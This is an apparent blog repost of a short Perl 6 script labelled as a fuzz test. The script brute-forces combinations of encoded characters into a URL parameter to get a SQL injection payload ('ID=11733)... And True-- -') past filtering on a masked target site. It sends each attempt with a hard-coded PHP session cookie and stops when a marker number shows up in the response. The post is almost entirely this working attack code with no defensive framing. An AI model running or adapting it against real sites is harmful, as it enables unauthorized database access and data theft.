码迷,mamicode.com
首页 > Web开发 > 详细

fuzz for test of the Net::HTTP::GET

时间:2018-10-02 14:06:01      阅读:207      评论:0      收藏:0      [点我收藏+]

标签:ESS   The   color   sid   count   pem   xxxxxx   style   ssi   

use Net::HTTP::GET;
my @chars = <%2d%2d%0b%0a %a0 %0a %23 %26 %0e%0f  *%26 @.jpg>;
my $count = 0;
for @chars X @chars X @chars X @chars -> $check {
        my $target_check = $check.join;
        my $url = "http://www.xxxxxx?ID=11733)"~$target_check~"And%20True--%20-";
        say $count.Str~" --> "~$url;
        #exit;
        my $html = Net::HTTP::GET($url,header=>{:cookie<PHPSESSID=u6dlq2pem8hqtbfa6998rs6g71; cuid=29450>});
        my $swap_html = $html.body.decode(utf-8);
        say $swap_html;
        if $swap_html ~~ /99999999999/ {
          say Found!!!;
          exit;
        }
        $count++;
}

 

fuzz for test of the Net::HTTP::GET

标签:ESS   The   color   sid   count   pem   xxxxxx   style   ssi   

原文地址:https://www.cnblogs.com/perl6/p/9736292.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!